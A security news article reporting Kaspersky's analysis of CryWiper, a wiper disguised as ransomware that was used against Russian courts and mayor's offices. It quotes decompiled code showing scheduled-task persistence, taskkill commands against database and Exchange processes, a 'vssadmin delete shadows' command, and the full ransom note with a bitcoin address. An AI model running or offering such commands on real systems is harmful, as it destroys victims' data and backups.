New CryWiper data wiper targets Russian courts, mayor’s offices

Bill Toulas ⋮⋮ 12/2/2022

A previously undocumented data wiper named CryWiper is masquerading as ransomware, but in reality, destroys data beyond recovery in attacks against Russian mayor's offices and courts.

CryWiper was first discovered by Kaspersky this fall, where they say the malware was used in an attack against a Russian organization.

"In the fall of 2022, our solutions detected attempts by a previously unknown Trojan, which we named CryWiper, to attack an organization's network in the Russian Federation," explains the new report by Kaspersky.

However, a report by by Russian media says that the malware was used in attacks against Russian mayor's offices and courts.

As the code analysis reveals, the data-wiping function of CryWiper isn't a mistake but a purposeful tactic to destroy targets' data.

Wiping the victim's data

CryWiper is a 64-bit Windows executable named 'browserupdate.exe' written in C++, configured to abuse many WinAPI function calls.

Upon execution, it creates scheduled tasks to run every five minutes on the compromised machine.

```
199  qmemcpy(
200    str,
201    "schtasks /create /f /sc minute /mo 5 /ru SYSTEM /tn BrowserUpdate /tr C:\\Windows\\system32\\browserupdate.exe",
202    107);
203  Size = Buffer;
204  *(Buffer + str) = 0;
205  memset(&Buffer, 0, 0x68ui64);
206  *&Data = 0i64;
207  LODWORD(Buffer) = 104;
208  hObject = 0i64;
209  v87 = 0i64;
210  if ( CreateProcessA(0i64, str, 0i64, 0i64, 0, 0x8000200u, 0i64, 0i64, &Buffer, &Data) )
```

Creation of scheduled task *(Kaspersky)*

Next, it contacts a command and control server (C2) with the name of the victim's machine. The C2 responds with either a "run" or "do not run" command, determining whether the wiper will activate or stay dormant.

Kaspersky reports seeing execution delays of 4 days (345,600 seconds) in some cases, likely added in the code to help confuse the victim as to what caused the infection.

CryWiper will stop critical processes related to MySQL, MS SQL database servers, MS Exchange email servers, and MS Active Directory web services to free locked data for destruction.

```
system("taskkill.exe /f /im mysqld.exe");
system("taskkill.exe /f /im sqlwriter.exe");
system("taskkill.exe /f /im sqlserver.exe");
system("taskkill.exe /f /im MSExchange*");
system("taskkill.exe /f /im Microsoft.Exchange.*");
system("taskkill.exe /f /im Microsoft.ActiveDirectory.WebServices.exe");
system("vssadmin delete shadows /for=c: /all");
```

Services killed by CryWiper *(Kaspersky)*

Next, the malware deletes shadow copies on the compromised machine to prevent the easy restoration of the wiped files.

CryWiper also modifies the Windows Registry to prevent RDP connections, likely to hinder intervention and incident response from remote IT specialists.

Finally, the wiper will corrupt all enumerated files except for ".exe", ".dll", "lnk", ".sys", ".msi", and its own ".CRY", while also skipping System, Windows, and Boot directories to prevent rendering the computer completely unusable.

The algorithm for corrupting the files is based on "Mersenne Twister," a pseudorandom number generator. This is the same algorithm used by IsaacWiper, but the researchers established no further connection between the two families.

After this step, CryWiper will generate ransom notes named 'README.txt,' asking for 0.5 Bitcoin (approximately $8,000) in exchange for a decrypter. Unfortunately, this is a false promise, as the corrupted data cannot be restored.

```
qmemcpy(
  ((v69 + 1) & 0xFFFFFFFFFFFFFFF8ui64),
  ("All your important files were encrypted on this computer.\n"
   "You can verify this by click on see files an try open them.\n"
   "\n"
   "Encrtyption was produced using unique KEY generated for this computer.\n"
   "\n"
   "To decrypted files, you need to otbtain private key.\n"
   "The single copy of the private key, with will allow you to decrypt the files, is locate on a secret server on"
   " the internet;\n"
   "The server will destroy the key within 24 hours after encryption completed.\n"
   "Payment have to be made in maxim 24 hours\n"
   "To retrieve the private key, you need to pay 0.5 BITCOINS\n"
   "\n"
   "Bitcoins have to be sent to this address: bc1qdr90p8l5jwen4ymewl7276z45rpzfhm70x0rfd\n"
   "\n"
   "After you've sent the payment send us an email to : fast_decrypt_and_protect@tutanota.com with subject : ERRO"
   "R-ID-63100778(0.5BITCOINS)\n"
   "If you are  not familiar with bitcoin you can buy it from here :\n"
   "\n"
   "SITE : www.localbitcoin.com\n"
   "\n"
   "After we confirm the payment , we send the private key so you can decrypt your system."
  - (v69
   - ((v69 + 1) & 0xFFFFFFFFFFFFFFF8ui64))),
   8i64 * ((v69 - ((v69 + 8) & 0xFFFFFFF8) + 948) >> 3));
```

Ransom note generated by CryWiper *(Kaspersky)*

Even though CryWiper is not ransomware in the typical sense, it can still cause severe data destruction and business interruption.

Kaspersky says CryWiper does not seem to be associated with any wiper families emerging in 2022, like DoubleZero, IsaacWiper, HermeticWiper, CaddyWiper, WhisperGate, AcidRain, and Industroyer2.

Update 11/2/2: Added further information about CryWiper targets (h/t Risky Biz).